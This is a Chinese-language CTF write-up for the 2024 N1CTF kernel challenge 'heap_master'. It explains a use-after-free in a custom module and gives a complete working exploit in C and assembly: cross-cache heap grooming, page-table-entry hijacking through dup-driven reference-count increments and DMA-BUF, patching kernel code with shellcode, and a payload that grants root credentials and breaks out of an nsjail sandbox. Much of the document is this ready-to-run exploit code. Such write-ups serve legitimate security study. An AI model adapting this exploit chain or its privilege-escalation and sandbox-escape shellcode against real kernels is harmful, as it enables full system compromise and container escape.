2024 N1CTF heap_master题解(DirtyPage手法)

0rb1t Lv2

0x01.题目分析

主要有两个函数safenote_init和safenote_ioctl。

safenote_init初始化了一个0xc0大小的kmem_cache。

image-20241110212639376

safenote_ioctl存在add、delete、uaf_delete三个功能,分别对应0x1337、0x1338、0x1339。

add可以根据idx从init初始化的kmem_cache分配不超过0x100个堆块。

image-20241110212902185

delete则会kfree并清空指针。

image-20241110213013185

uaf_delete只能执行一次,kfree但不清空指针,可以uaf实现double free。

image-20241110213051122

题目开启了nsjail沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#init
#!/bin/sh

mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t tmpfs -o noexec,nosuid,mode=0755 tmpfs /tmp
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mkdir /dev/shm
mount -t tmpfs shmfs -o size=1m /dev/shm


echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
chmod 600 /flag
#chown root:root /bin/root_shell
#chmod 4755 /bin/root_shell
insmod vuln.ko
chmod 666 /dev/safenote
chmod 740 /startjail
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 666 /dev/dma_heap/system
chown ctf:ctf /jail


ifconfig eth0 10.0.2.15
route add default gw 10.0.2.2
su root -c /startjail

0x02.攻击手法

可以看到题目使用kmem_cache将堆块与通用堆块进行隔离,所以无法直接利用uaf劫持系统结构体。

Cross-Cache Attack 交叉缓存攻击

因为能够申请和释放足够多的堆块,所以当我们申请0x100个堆块并重新释放时,kmem_cache会因为free object过多而将完全释放的页表交还给伙伴系统。

image-20241110215628780

此时如果我们open大量的文件,针对file的kmem_cache就会因为free object不足重新从伙伴系统重新申请page,来补充堆块。

image-20241110220519790

此时就会有很大概率申请到我们曾经释放的page,我们就可以利用先前的uaf来攻击系统结构体了。

PTE劫持

PTE:页表(Page Table Entry),内存分页存储机制中的构成元素,由PDE(页目录表)指向,每一个表项对应一个物理页。

当我们使用mmap申请内存时并访问时,内核会将物理内存映射成虚拟内存,我们可以通过虚拟地址来访问物理地址,而这中间的转化则是基于页表完成的。

页表上存放着虚拟地址对应的实际物理地址,我们访问虚拟地址时,内核会根据虚拟地址对应的页表寻找相应的物理地址。

而页表内存也是由伙伴系统分配的,故我们可以利用先前的uaf控制页表指针来实现任意物理地址的修改。

image-20241110224420293

利用dup实现uaf_file的修改

file结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct file {
union {
struct llist_node f_llist;
struct rcu_head f_rcuhead;
unsigned int f_iocb_flags;
};
/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
fmode_t f_mode;
atomic_long_t f_count;
struct mutex f_pos_lock;

当我们调用dup复制1个fd时,file->f_count会进行自增,并且这期间不会有对结构体内容的任何check。

1
2
3
4
5
6
7
8
//dup调用链
dup(fd)
fget_raw(fd)
__fget(fd,0)
__fget_files(current->files, fd, mask)
__fget_files_rcu(files, fd, mask)
get_file_rcu(file)
atomic_long_inc_not_zero(&(x)->f_count)

其中f_count的偏移是0x38,这就意味着我们可以实现0x38偏移的任意自增。

DMA-BUF Heap申请pte邻近内存

DMA-BUF和mmap实际没有太大区别,都会映射一块物理页给虚拟内存。

但是DMA-BUF映射的物理页的级别和mmap不一样,由DMA-BUF映射的物理页会邻近PTE的物理内存。

image-20241110231934848

0x03.漏洞利用

  • mmap申请0x400个0x8000的内存留着备用,此时还并不会将物理地址记录进pte。
  • 申请0x100个note,并全部释放,且第0x50个note使用uaf_delete释放。这样就可以将uaf的堆块交还给伙伴系统。
  • 申请0x100个file结构体,从伙伴系统取回uaf的堆块,然后利用残留的指针free掉其中的一个file,再申请0x100个file结构体,此时就会有两个file结构体重合。
  • 释放前0x100个file结构体,再次将uaf_file放回给伙伴系统。
  • 依次标记修改0x200个先前mmap的内存,此时会触发缺页异常,从而申请pte来存放其物理地址。这里就是为了创建0x200个pte,其中一个pte会和我们先前的file结构体重合。
  • ioctl调用DMA_HEAP_IOCTL_ALLOC申请0x1000的物理内存,此时会申请到页表物理地址的下面,然后我们再依次标记修改后0x200个mmap内存,就会在DMA-BUF Heap下面申请pte。
  • 依次dup后0x100个file结构体,每次都循环dup 0x1000次,并判断每个mmap内存的标记,标记不符合就能得知uaf_file,以及重合的mmap内存是哪一个。这里不符合要把dup的0x1000次都close掉,防止文件描述符到达上限。
  • munmap重合的内存,此时该内存的pte会空出来,然后我们在mmap映射DMA-BUF申请的物理地址,就会补上DMA-BUF的pte在空出来的位置。
  • 再去dup 0x1000 uaf_file,即可修改DMA-BUF的pte指向另一个pte的物理地址,从而完全劫持pte。
  • 劫持pte指向固定的物理地址泄露,内核基地址的物理地址,再次修改pte指向内核代码段。
  • 修改某系统调用的内核代码段,再syscall即可执行任意内核shellcode提权。

这里能看出来步骤是十分繁琐的,有几部分解释不详细,我们这里再详细说一下。

第一,mmap映射0x8000内存的原因,0x8000内存会创建0x40大小的pte,这样我们dup的时候修改0x38偏移的指针就可以修改0x8000内存段0x7000索引部分的physical指针。

第二,mmap的标记,我们只需要在0x8000内存第0x7000处做上一个特殊标记就可以了,因为我们dup修改的是0x7000索引的physical指针,让其加0x1000就会指向下一个0x8000内存的头部,所以验证只需要验证mem[0x7000]是否为特殊标记即可。

第三,DMA-BUF指向的物理地址加0x1000则是pte段,所以我们只需要将DMA-BUF的物理地址指针加0x1000就可以完全劫持pte。

第四,我们还需要知道劫持的是哪个mmap内存的pte,可以配合内核物理基地址泄露使用,内核中有些固定地址是存放了内核物理基地址固定偏移地址的指针的。我们劫持pte然后修改其为固定地址,再去对每一个mmap内存进行check,既可以泄露出来地址,又找到对应的mmap内存。

第五,题目开启了nsjail沙盒隔离,普通的提权shellcode是行不通的,需要用到特殊shellcode,修改用户fs和proxy来突破隔离。

0x04.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
//exp.c
#include "Kernel.h"
#define PAGE_SPRAY_NUM 0x400
#define FILE_SPRAY_NUM 0x200
char *buf, key[0x30];
int ko_fd;
long kernel_entry = 0xfffffe0000000000,kernel_base;
sem_t sem1, sem2, sem3;
long* ibuf;
int file_spray[FILE_SPRAY_NUM],pipefd[0x100][2];
void* page_spray[PAGE_SPRAY_NUM];
int dup_spray[0x1000], dup1_spray[0x1000];

int add(int idx) {
return ioctl(ko_fd, 0x1337, &idx);
}

int dele(int idx) {
return ioctl(ko_fd, 0x1338, &idx);
}

int uaf_dele(int idx) {
return ioctl(ko_fd, 0x1339, &idx);
}
static void win() {
char buf[0x100];
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0) {
puts("[-] Lose…");
}
else {
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
}
exit(0);
}

int main() {
save_user_land();
//signal(SIGSEGV, (sighandler_t)get_shell);
bind_core(0);
unshare_setup();
buf = (char*)malloc(0x1000);
memset(buf, 0, 0x1000);
ibuf = (long*)buf;
for (int i = 0; i < PAGE_SPRAY_NUM; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i * 0x10000UL),
0x8000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if (page_spray[i] == MAP_FAILED) {
perror("mmap");
}
}
int dmafd = creat("/dev/dma_heap/system", O_RDWR);
if (dmafd == -1)
perror("dma_heap");
ko_fd = open("/dev/safenote", O_RDWR);
if (ko_fd < 0) {
perror("ko dev");
return 0;
}
//block();
for (int i = 0; i < 0x100; i++) {
if (add(i) < 0) {
perror("add");
}
}
//block();
for (int i = 0; i < 0x100; i++) {
if (i == 0x50) {
if (uaf_dele(i) < 0) {
perror("uaf delete");
return 0;
}
continue;
}
if (dele(i) < 0) {
perror("delete");
}
}
//block();
for (int i = 0; i < FILE_SPRAY_NUM / 2; i++) {
file_spray[i] = open("/", O_RDONLY);
if (file_spray[i] < 0) {
perror("/");
}
}
puts("test");
//block();
dele(0x50);
for (int i = FILE_SPRAY_NUM / 2 + 1; i < FILE_SPRAY_NUM; i++) {
file_spray[i] = open("/", O_RDONLY);
if (file_spray[i] < 0) {
perror("/");
}
}
//block();
for (int i = 0; i < FILE_SPRAY_NUM / 2; i++) {
close(file_spray[i]);
}
//block();
for (int i = 0; i < PAGE_SPRAY_NUM / 2; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j * 0x1000) = 'A' + j;
// Allocate DMA-BUF heap
int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
perror("DMA_HEAP_IOCTL_ALLOC");
printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
// Allocate many PTEs (2)
for (int i = PAGE_SPRAY_NUM / 2; i < PAGE_SPRAY_NUM; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j * 0x1000) = 'A' + j;
//block();
int ezdup = -1, ezdup1 = -1;
void* evil;
for (int k = FILE_SPRAY_NUM / 2; k < FILE_SPRAY_NUM; k += 2) {
ezdup = file_spray[k], ezdup1 = file_spray[k + 1];
for (int j = 0; j < 0x1000; j++) {
if ((dup_spray[j] = dup(ezdup)) < 0 || (dup1_spray[j] = dup(ezdup1)) < 0) {
RED printf("dup"); CLOSE;
break;
}
}
//block();
evil = NULL;
for (int i = 0; i < PAGE_SPRAY_NUM; i++) {
// We wrote ‘H'(=’A’+7) but if it changes the PTE overlaps with the file
if (*(char*)(page_spray[i] + 7 * 0x1000) != 'A' + 7) { // +38h: f_count
evil = page_spray[i] + 0x7000;
printf("[+] Found overlapping page: %p\n", evil);
break;
}
}
if (evil != NULL) {
break;
}
for (int j = 0; j < 0x1000; j++) {
if (close(dup_spray[j]) < 0 || close(dup1_spray[j]) < 0) {
RED printf("close"); CLOSE;
}
}
}
if (evil == NULL) {
RED printf("Target not found."); CLOSE;
return 0;
}
//block();
munmap(evil, 0x1000);
void* dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
*(char*)dmabuf = '0';
/**
* Get physical AAR/AAW
*/
// Corrupt physical address of DMA-BUF
for (int i = 0; i < 0x1000; i++)
if (dup(ezdup) < 0 || dup(ezdup1) < 0) {
perror("dup");
return 0;
}
printf("[+] DMA - BUF now points to PTE: 0x%016lx\n", dmabuf);
printf("[+] DMA - BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);
// Leak kernel physical base
void* wwwbuf = NULL;
*(size_t*)dmabuf = 0x800000000009c067;
for (int i = 0; i < PAGE_SPRAY_NUM; i++) {
if (page_spray[i] == evil) continue;
if (*(size_t*)page_spray[i] > 0xffff) {
wwwbuf = page_spray[i];
printf("[+] Found victim page table: %p\n", wwwbuf);
break;
}
}
size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000 - 0x1dfd000 - 0x3000;
printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
puts("[+] Overwriting do_symlinkat…");
size_t phys_func = phys_base + 0x42cc40;
*(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
unsigned char shellcode[] = { 0xf3,0xf,0x1e,0xfa,0xe8,0x0,0x0,0x0,0x0,0x41,0x5f,0x49,0x81,0xef,0x49,0xcc,0x42,0x0,0x49,0x8d,0xbf,0x0,0x6b,0xa7,0x2,0x49,0x8d,0x87,0x70,0x26,0x1c,0x0,0xff,0xd0,0xbf,0x1,0x0,0x0,0x0,0x49,0x8d,0x87,0xa0,0x8f,0x1b,0x0,0xff,0xd0,0x48,0x89,0xc7,0x49,0x8d,0xb7,0xc0,0x68,0xa7,0x2,0x49,0x8d,0x87,0xd0,0xa,0x1c,0x0,0xff,0xd0,0x49,0x8d,0xbf,0x20,0x53,0xbb,0x2,0x49,0x8d,0x87,0xf0,0xc0,0x45,0x0,0xff,0xd0,0x48,0x89,0xc3,0x48,0xbf,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x49,0x8d,0x87,0xa0,0x8f,0x1b,0x0,0xff,0xd0,0x48,0x89,0x98,0x28,0x8,0x0,0x0,0x31,0xc0,0x48,0x89,0x4,0x24,0x48,0x89,0x44,0x24,0x8,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x48,0x89,0x44,0x24,0x10,0x48,0xb8,0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x48,0x89,0x44,0x24,0x18,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x48,0x89,0x44,0x24,0x20,0x48,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0x89,0x44,0x24,0x28,0x48,0xb8,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x48,0x89,0x44,0x24,0x30,0x49,0x8d,0x87,0xc6,0x11,0x40,0x1,0xff,0xe0,0xcc, };
void* p;
p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
*(size_t*)p = getpid();
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
*(size_t*)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
*(size_t*)p = user_cs;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
*(size_t*)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
*(size_t*)p = user_sp;
p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
*(size_t*)p = user_ss;
memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
puts("[+] GO!GO!");
printf("%d\n", symlink("/jail/x", "/jail"));
puts("[-] Failed…");
close(ko_fd);
block();
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//Kernel.h
#pragma once
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <linux/keyctl.h>
#include <stdlib.h>
#include <syscall.h>
#include <unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <stdint.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <string.h>
#include <semaphore.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <sys/sysinfo.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <linux/dma-heap.h>

#define MSG_COPY 040000

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m\[-] ");
#define GREEN printf("\033[32m\[+] ");
#define BLUE printf("\033[36m\[+] ");
#define YELLOW printf("\033[33m\[+] ");
#define PURPLE printf("\033[35m\[+] ");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
;沙盒绕过shellcode
; 执行nasm -f bin -o tiny64 tiny64.asm
BITS 64
org 0x400000

ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr

phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr

section .data
init_cred equ 0x2a76b00
commit_creds equ 0x01c2670
find_task_by_vpid equ 0x01b8fa0
init_nsproxy equ 0x2a768c0
switch_task_namespaces equ 0x1c0ad0
init_fs equ 0x2bb5320
copy_fs_struct equ 0x45c0f0
kpti_bypass equ 0x14011c6
section .text
_start:

endbr64
call a
a:
pop r15
sub r15, 0x42cc49

; commit_creds(init_cred) [3]
lea rdi, [r15 + init_cred]
lea rax, [r15 + commit_creds]
call rax

; task = find_task_by_vpid(1) [4]
mov edi, 1
lea rax, [r15 + find_task_by_vpid]
call rax

; switch_task_namespaces(task, init_nsproxy) [5]
mov rdi, rax
lea rsi, [r15 + init_nsproxy]
lea rax, [r15 + switch_task_namespaces]
call rax

; new_fs = copy_fs_struct(init_fs) [6]
lea rdi, [r15 + init_fs]
lea rax, [r15 + copy_fs_struct]
call rax
mov rbx, rax

; current = find_task_by_vpid(getpid())
mov rdi, 0x1111111111111111 ; will be fixed at runtime
lea rax, [r15 + find_task_by_vpid]
call rax

; current->fs = new_fs [8]
mov [rax + 0x828], rbx

; kpti trampoline [9]
xor eax, eax
mov [rsp+0x00], rax
mov [rsp+0x08], rax
mov rax, 0x2222222222222222 ; win
mov [rsp+0x10], rax
mov rax, 0x3333333333333333 ; cs
mov [rsp+0x18], rax
mov rax, 0x4444444444444444 ; rflags
mov [rsp+0x20], rax
mov rax, 0x5555555555555555 ; stack
mov [rsp+0x28], rax
mov rax, 0x6666666666666666 ; ss
mov [rsp+0x30], rax
lea rax, [r15 + kpti_bypass]
jmp rax

int3

filesize equ $ - $$

0x05.参考文章

  • Title: 2024 N1CTF heap_master题解(DirtyPage手法)
  • Author: 0rb1t
  • Created at : 2024-11-10 20:52:10
  • Updated at : 2024-11-11 00:08:24
  • Link: https://redefine.ohevan.com/2024/11/10/2024-N1CTF-heap-master题解(DirtyPage手法)/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments